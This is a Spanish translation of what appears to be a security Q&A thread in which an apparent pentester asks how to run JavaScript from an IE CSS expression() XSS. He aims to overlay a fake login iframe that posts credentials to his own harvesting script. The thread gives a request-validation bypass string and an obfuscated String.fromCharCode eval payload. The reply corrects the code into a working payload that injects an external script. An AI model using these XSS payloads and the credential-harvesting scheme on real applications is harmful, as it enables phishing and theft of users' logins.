Llamar funciones de JavaScript desde una etiqueta de estilo XSS

4

He identificado un XSS en la aplicación de un cliente donde no se ha podido desinfectar correctamente una variable. Sin embargo, la aplicación está escrita en ASP.NET 2.xy tienen la validación de solicitudes activada.

Soy consciente de la siguiente cadena, que omitirá la validación de la solicitud y funcionará en IE:

‹%tag style="xss:expression(alert(123))" ›

Sin embargo, lo que quiero hacer, en lugar de mostrarle al cliente un simple cuadro de alerta, es utilizar el XSS para generar dinámicamente un iframe de pantalla completa de la página de inicio de sesión de la aplicación y cambiar su acción posterior a un script de recolección de credenciales que yo mismo tengo. .

Tengo el código para generar este iframe y sé que funciona. Con lo que estoy luchando es conseguir que una función de JavaScript se ejecute dentro del atributo de estilo de etiqueta. Pensé que la mejor manera de lograr esto sería generar dinámicamente un nodo <script src=..> en el DOM. Sin embargo, aunque el código definitivamente funciona, no se ejecutará desde el atributo de estilo de etiqueta.

¿Alguna sugerencia sobre cómo obtener la ejecución correcta del código JavaScript desde un atributo de estilo? Aquí está mi código actual (que no está funcionando):

<%tag style="xss:expression(    
        function init()
                     {
         var nBody = document.getElementsByTagName('body')[0];
         var newInclude = document.createElement('script');
         newInclude.setAttribute('src','src.js');
         nBody.appendChild(newInclude);
         }

onload=init;
)">

Editar : pensé que también agregaría que este código funciona cuando se convierte a Unicode:

function test(){alert(1);}test();

<IMG STYLE="xss:expression(eval(String.fromCharCode(102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 101, 115, 116, 40, 41, 123, 97, 108, 101, 114, 116, 40, 49, 41, 59, 125, 116, 101, 115, 116, 40, 41, 59)))">

    
pregunta Jingo 16.09.2013 - 23:22
fuente

1 respuesta

3

Un expression() debe ser una expresión de JavaScript. Tiene dos sentencias, una declaración de función seguida de una expresión de asignación. Para mí, hacerlo con una sola función funciona:

<div style="xss:expression(onload=function() {
    var newInclude = document.createElement('script');
    newInclude.src = 'src.js';
    document.body.appendChild(newInclude);
})">

(aunque me sorprende un poco que lo haga sin ninguna capa adicional de CSS \nn escaping!)

    
respondido por el bobince 17.09.2013 - 09:54
fuente

Lea otras preguntas en las etiquetas